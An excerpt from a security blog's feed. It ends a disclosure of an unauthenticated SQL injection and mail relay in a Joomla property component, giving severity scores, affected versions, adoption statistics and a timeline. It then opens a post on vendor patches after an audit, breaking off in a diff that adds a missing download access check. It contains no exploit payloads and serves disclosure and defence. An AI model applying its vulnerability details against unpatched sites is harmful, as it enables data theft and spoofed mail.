&lt;li&gt;&lt;strong&gt;Rotate secrets if you were exposed.&lt;/strong&gt; If a vulnerable version was live and public for any length of time, rotate the Joomla secret and any stored API keys, and treat password hashes as potentially known.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read through the SQL injection, so if you handle sensitive data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;What the sites we monitor look like today&lt;/h2&gt;
&lt;p&gt;We keep a live inventory of every extension on every connected Joomla site, so we can see how SP Property Finder is versioned across the ones we monitor. Here is the spread on the day 4.1.4 shipped.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94%&lt;/div&gt;&lt;div&gt;still on a version below 4.1.4&lt;/div&gt;&lt;div&gt;on the day the fix shipped&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;52%&lt;/div&gt;&lt;div&gt;on 4.1.3, the version we audited&lt;/div&gt;&lt;div&gt;the build the injection was proved against&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;15%&lt;/div&gt;&lt;div&gt;on a release older than the 4.1 line&lt;/div&gt;&lt;div&gt;some on the 1.x and 3.x branches, years behind&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;6%&lt;/div&gt;&lt;div&gt;already updated to 4.1.4&lt;/div&gt;&lt;div&gt;within hours of release&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured 10 September 2026 across connected Joomla sites running com_spproperty with a snapshot in the previous 30 days. Percentages of that group, a small population, not of all managed sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Release day is too early to judge an update rate, so the 94% is expected rather than damning. The figures that matter are the half still on 4.1.3, the exact build we proved the injection against, and the sites several releases behind on the 1.x and 3.x branches, where a security release is easy to miss entirely. On the day a fix ships for a public, unauthenticated, whole-database read, almost every affected site is still running the code that leaks. Closing that gap is work, and it is the work the next section is about.&lt;/p&gt;
&lt;h2&gt;How do I find every SP Property Finder site I manage?&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for SP Property Finder once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every SP Property Finder install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for SP Property Finder across every connected Joomla site and filter for anything earlier than 4.1.4. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Why search and listing components keep producing this&lt;/h2&gt;
&lt;p&gt;A property search is attack surface for the same reason it is useful: it takes input from anonymous visitors and turns it into a database query. A filter for postcode, price or bedroom count cannot require a login, because the whole point is that visitors use it. Every one of those public filters is a place where request input meets the database, and when the code behind them concatenates that input into the SQL instead of quoting it, an anonymous visitor becomes an anonymous attacker.&lt;/p&gt;
&lt;p&gt;We have seen the same shape across the Joomla ecosystem this year, from the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;SP Page Builder pre-auth SQL injection&lt;/a&gt; in the same vendor’s flagship builder, to &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Quix&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla disclosures&lt;/a&gt;. The lesson is the same each time: the components that accept input from anonymous visitors need updating the moment a fix exists, which makes these updates security-critical rather than routine maintenance.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;The main finding is a SQL injection (CWE-89) reachable by an anonymous visitor over the network, with no login and no token. It is read-only, which caps the direct impact at a total loss of confidentiality: full read access to the database, integrity and availability untouched. The secondary finding is an unauthenticated mail relay: the property contact forms trust a request-supplied recipient, yielding arbitrary mail sending with sender spoofing.&lt;/p&gt;
&lt;p&gt;SP Property Finder 4.1.4 shipped on 10 September 2026. The Joomla CNA published &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78082/&quot;&gt;CVE-2026-78082&lt;/a&gt; for the SQL injection, credited to Phil Taylor of mySites.guru, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78303/&quot;&gt;CVE-2026-78303&lt;/a&gt; for the mail relay, with no reporter named. Three further CVEs in the same release, for a CSRF gap, a gallery access-control flaw and an XSS issue, are not our findings.&lt;/p&gt;
&lt;p&gt;The Joomla CNA published the SQL injection at &lt;strong&gt;9.3 Critical&lt;/strong&gt;, on a vector (&lt;code&gt;VC:H/VI:H/VA:H&lt;/code&gt;) that assumes integrity and availability impact. We assess the injection itself at &lt;strong&gt;8.7 High&lt;/strong&gt;: it is read-only, so the honest vector is &lt;code&gt;VC:H&lt;/code&gt; alone, a total loss of confidentiality with integrity and availability untouched. It sits at the top of the High band either way, and a full-database read is serious regardless of where the number falls.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;mySites.guru read-only assessment (Joomla CNA published 9.3 Critical)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Reachable over the internet through the public property search, with no login and no token. Ends in full read access to the site database, password hashes and the site secret included. The Joomla CNA scored it 9.3 Critical on a vector that also assumes write and availability impact; we keep the read-only vector we proved.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;span&gt;Password hashes exposed&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;mySites.guru assessment&lt;/span&gt;&lt;/p&gt;&lt;p&gt;CVE-2026-78303. The property contact and booking forms trusted a recipient address supplied by the browser, so the site could be made to send mail to anyone with a spoofed sender. Scored Medium because nothing on the Joomla site itself changes, which understates the real cost: phishing sent from your own domain and mail server.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Sender spoofing&lt;/span&gt;&lt;span&gt;Mail sent from your domain&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data on other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Each finding, scored under CVSS 4.0:&lt;/p&gt;























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Finding&lt;/th&gt;&lt;th&gt;Vector (&lt;code&gt;CVSS:4.0/...&lt;/code&gt;)&lt;/th&gt;&lt;th&gt;Score&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Unauthenticated SQL injection (full DB read)&lt;/td&gt;&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Unauthenticated mail relay (sender spoofing)&lt;/td&gt;&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N&lt;/code&gt;&lt;/td&gt;&lt;td&gt;6.9&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;CVSS 4.0 scores the mail relay &lt;strong&gt;6.9, Medium&lt;/strong&gt;, because the direct impact on the Joomla system is low: it reads and changes nothing on the site itself. That number understates the practical risk, which is phishing sent from your own domain and mail server, and the mail-reputation damage that follows. We treat it as a priority fix regardless.&lt;/p&gt;





























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;SP Property Finder for Joomla (&lt;code&gt;com_spproperty&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (CWE-89); unauthenticated mail relay (CWE-640 / CWE-79-adjacent)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;SQL injection 9.3 Critical (Joomla CNA), 8.7 High (our read-only assessment); mail relay 6.9 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78082/&quot;&gt;CVE-2026-78082&lt;/a&gt; (SQL injection, credited to Phil Taylor by the Joomla CNA) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78303/&quot;&gt;CVE-2026-78303&lt;/a&gt; (mail relay); both published 10 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read of the whole database including password hashes and the site secret; unauthenticated arbitrary mail sending with sender spoofing&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;4.1.3 and all earlier versions sharing the front-end search models&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;SP Property Finder 4.1.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;10 August 2026 (privately to JoomShaper)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;11 August 2026 (JoomShaper confirmed receipt)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;10 September 2026 (SP Property Finder 4.1.4)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE published&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78082/&quot;&gt;CVE-2026-78082&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78303/&quot;&gt;CVE-2026-78303&lt;/a&gt;, both 10 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-10&lt;/strong&gt; Reported privately to JoomShaper An unauthenticated SQL injection reading the whole database including password hashes and the site secret, plus an unauthenticated mail relay, both in SP Property Finder. All public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-11&lt;/strong&gt; JoomShaper acknowledges the report The vendor confirmed receipt within a day and named the affected parameters back to us, so the report had reached someone technical rather than a support queue.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-07&lt;/strong&gt; We chase, 27 days after the acknowledgement, copying the Strike Team Nothing had been heard since 11 August. The chase copied the Joomla Security Strike Team, and a fixed build followed within 20 hours.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-08&lt;/strong&gt; JoomShaper sends a fixed build for checking We retested it against our original attack requests, with a control run on the vulnerable version first, and confirmed every reported flaw was closed. Nothing changed for site owners at this point, because the build was not public yet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; JoomShaper ships 4.1.4 with no announcement Released with no security announcement and no advisory, as a changelog on the download page. We had asked to be told when it went out and were not; we found the release ourselves. It is the same build JoomShaper sent for sign-off, so our verification stands.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; The release cites five CVEs, two of them ours CVE-2026-78082 for the SQL injection and CVE-2026-78303 for the mail relay are the two we reported; three more cover issues we did not. The Joomla CNA credits Phil Taylor as finder on the SQL injection record and no one on the rest; JoomShaper&apos;s own changelog credits no one at all. All five published at MITRE the same day.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Our SP Page Builder SQL injection and mail relay disclosure&lt;/a&gt; - the same vendor, the same pairing of a database read and a mail relay, in a different component.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Our DPCalendar&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Quix Page Builder&lt;/a&gt; SQL injection disclosures, and the &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla security disclosures&lt;/a&gt; - the same class of bug across the ecosystem.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the official reference for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension&quot;&gt;JoomShaper downloads&lt;/a&gt; - the vendor&apos;s download page, where 4.1.4 appears.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>sp property finder</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><category>spproperty</category><enclosure url="https://mysites.guru/img/og/blog/sp-property-finder-sql-injection-disclosure.png" length="0" type="image/png"/></item><item><title>Digital Peak patches four Joomla extensions after a Claude audit</title><link>https://mysites.guru/blog/digital-peak-claude-security-audit-release/</link><guid isPermaLink="true">https://mysites.guru/blog/digital-peak-claude-security-audit-release/</guid><description>Digital Peak shipped out-of-band fixes for DPCalendar, DPMedia, DPAttachments and DPCases on 10 September. DPAttachments is the one to do first.</description><pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomla.digital-peak.com/&quot;&gt;Digital Peak&lt;/a&gt; shipped five releases across four Joomla extensions today, all rated High and all out of band. The vendor puts eleven of the twelve fixes down to a security analysis run with Claude over the last few days. The twelfth is the DPCalendar location title, which we reported on 27 August and which the announcement now credits to us.&lt;/p&gt;
&lt;p&gt;That is the third DPCalendar security release in nine weeks, and the first one that reaches past the calendar into the rest of the catalogue. The code is public for three of the four extensions, so we read the actual changes rather than working from the severity ratings.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Do DPAttachments first, then the rest&lt;/p&gt;&lt;div&gt;&lt;p&gt;DPAttachments 5.8.1 is the only one the vendor asks you to prioritise, and the code shows why: the attachment download route checked that an attachment record existed and never checked whether the person asking was allowed to have it. The other three generally need an account, or content arriving from a source you already trust.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Five releases: &lt;strong&gt;DPCalendar 10.12.1&lt;/strong&gt; and &lt;strong&gt;8.19.6&lt;/strong&gt;, &lt;strong&gt;DPMedia 1.21.1&lt;/strong&gt;, &lt;strong&gt;DPAttachments 5.8.1&lt;/strong&gt; and &lt;strong&gt;DPCases 3.8.1&lt;/strong&gt;. Every one of them is tagged Security: High on its download page&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DPAttachments is the priority.&lt;/strong&gt; Unpublished attachments, attachments on a restricted view level, and attachments outside their publish window could all be downloaded by someone with no entitlement to them&lt;/li&gt;
&lt;li&gt;The releases are &lt;strong&gt;out of band&lt;/strong&gt;. Digital Peak normally ships on the fourth Thursday of the month, and today is the second Thursday&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Joomla 3 branch got one fix, not three.&lt;/strong&gt; DPCalendar 8.19.6 is security only and its release notes list the unescaped location title alone&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The DPCalendar fix is one we reported.&lt;/strong&gt; We sent it to Digital Peak and the Joomla Security Strike Team on 27 August, and the vendor’s announcement now credits it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eleven of the twelve have no CVE yet.&lt;/strong&gt; The DPCalendar location title is the exception, under &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78071/&quot;&gt;CVE-2026-78071&lt;/a&gt;, whose affected range was widened on release day to take in 10.12.0 and 8.19.5&lt;/li&gt;
&lt;li&gt;Two of the fixes share a shape worth recognising: in both DPAttachments and DPCalendar, the escaping was already present on the field next door and simply missing on one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DPCalendar is not one update.&lt;/strong&gt; On release day our &lt;a href=&quot;https://releases.mysites.guru/joomla?q=DP&quot;&gt;Release Radar&lt;/a&gt; recorded 59 distinct DPCalendar items moving to the new versions&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What did Digital Peak fix on 10 September?&lt;/h2&gt;
&lt;p&gt;Twelve issues across four extensions, four of them rated High and eight Medium. The vendor’s &lt;a href=&quot;https://joomla.digital-peak.com/blog/claude-security-audit-results&quot;&gt;announcement&lt;/a&gt; lists them by severity, and each release page lists the internal tracker numbers.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;th&gt;High-severity issue&lt;/th&gt;&lt;th&gt;Also fixed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpcalendar&quot;&gt;DPCalendar&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/download/dpcalendar/dpcalendar-10.12.1&quot;&gt;10.12.1&lt;/a&gt;, &lt;a href=&quot;https://joomla.digital-peak.com/download/dpcalendar/dpcalendar-8.19.6&quot;&gt;8.19.6&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Location title not escaped in the map view and upcoming module&lt;/td&gt;&lt;td&gt;Microsoft and Exchange attachment filename hardening, CSRF state parameter on calendar imports&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpmedia&quot;&gt;DPMedia&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/download/dpmedia/dpmedia-1.21.1&quot;&gt;1.21.1&lt;/a&gt;&lt;/td&gt;&lt;td&gt;DPReferences shows references to users without media manager access&lt;/td&gt;&lt;td&gt;Path traversal on external file names, Google Drive search injection, OAuth state parameter, two permission plugin fixes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpattachments&quot;&gt;DPAttachments&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/download/dpattachments/dpattachments-5.8.1&quot;&gt;5.8.1&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthorised access to direct downloads&lt;/td&gt;&lt;td&gt;Stored XSS in the CSV preview, upload context validation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpcases&quot;&gt;DPCases&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/download/dpcases/dpcases-3.8.1&quot;&gt;3.8.1&lt;/a&gt;&lt;/td&gt;&lt;td&gt;User information not escaped in views&lt;/td&gt;&lt;td&gt;Path traversal for icons outside the root&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The DPCalendar row is the one with a history. That flaw is the tail of an incomplete fix from the previous release, and we are the ones who reported it, which is covered &lt;a href=&quot;#where-the-dpcalendar-fix-came-from&quot;&gt;further down&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Digital Peak states that none of the twelve allows a file to be placed on the server, and that there is no evidence of exploitation in the wild. We found nothing to contradict that. There is no public proof-of-concept and no exploit code for any of them.&lt;/p&gt;
&lt;p&gt;Two items in the DPMedia release notes are worth flagging because they do not appear in the announcement’s security list at all: a permission plugin that should check delete and save, and a restricted adapter that should consider permissions from the category and the article. Both read as access-control work. Neither is described as a security fix.&lt;/p&gt;
&lt;h2&gt;DPAttachments 5.8.1 is the update to do first&lt;/h2&gt;
&lt;p&gt;DPAttachments is developed in a &lt;a href=&quot;https://github.com/Digital-Peak/DPAttachments&quot;&gt;fully public repository&lt;/a&gt;, so this one can be read rather than inferred. The fix for the High-severity issue is a single commit, &lt;code&gt;Case 12252: Check access if an attachment can be downloaded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before the fix, the download controller looked up the attachment by the ID in the request and made one check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt; public function download(): void&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; 	$attachment = $this-&amp;gt;getModel()-&amp;gt;getItem($this-&amp;gt;input-&amp;gt;get(&apos;id&apos;));&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;	if (!\is_object($attachment)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;+&lt;/span&gt;	if (!$attachment instanceof \stdClass || !$this-&amp;gt;app-&amp;gt;bootComponent(&apos;dpattachments&apos;)-&amp;gt;canView($attachment)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; 		header(&apos;HTTP/1.0 404 Not Found&apos;);&lt;/span&gt;&lt;/span&gt;
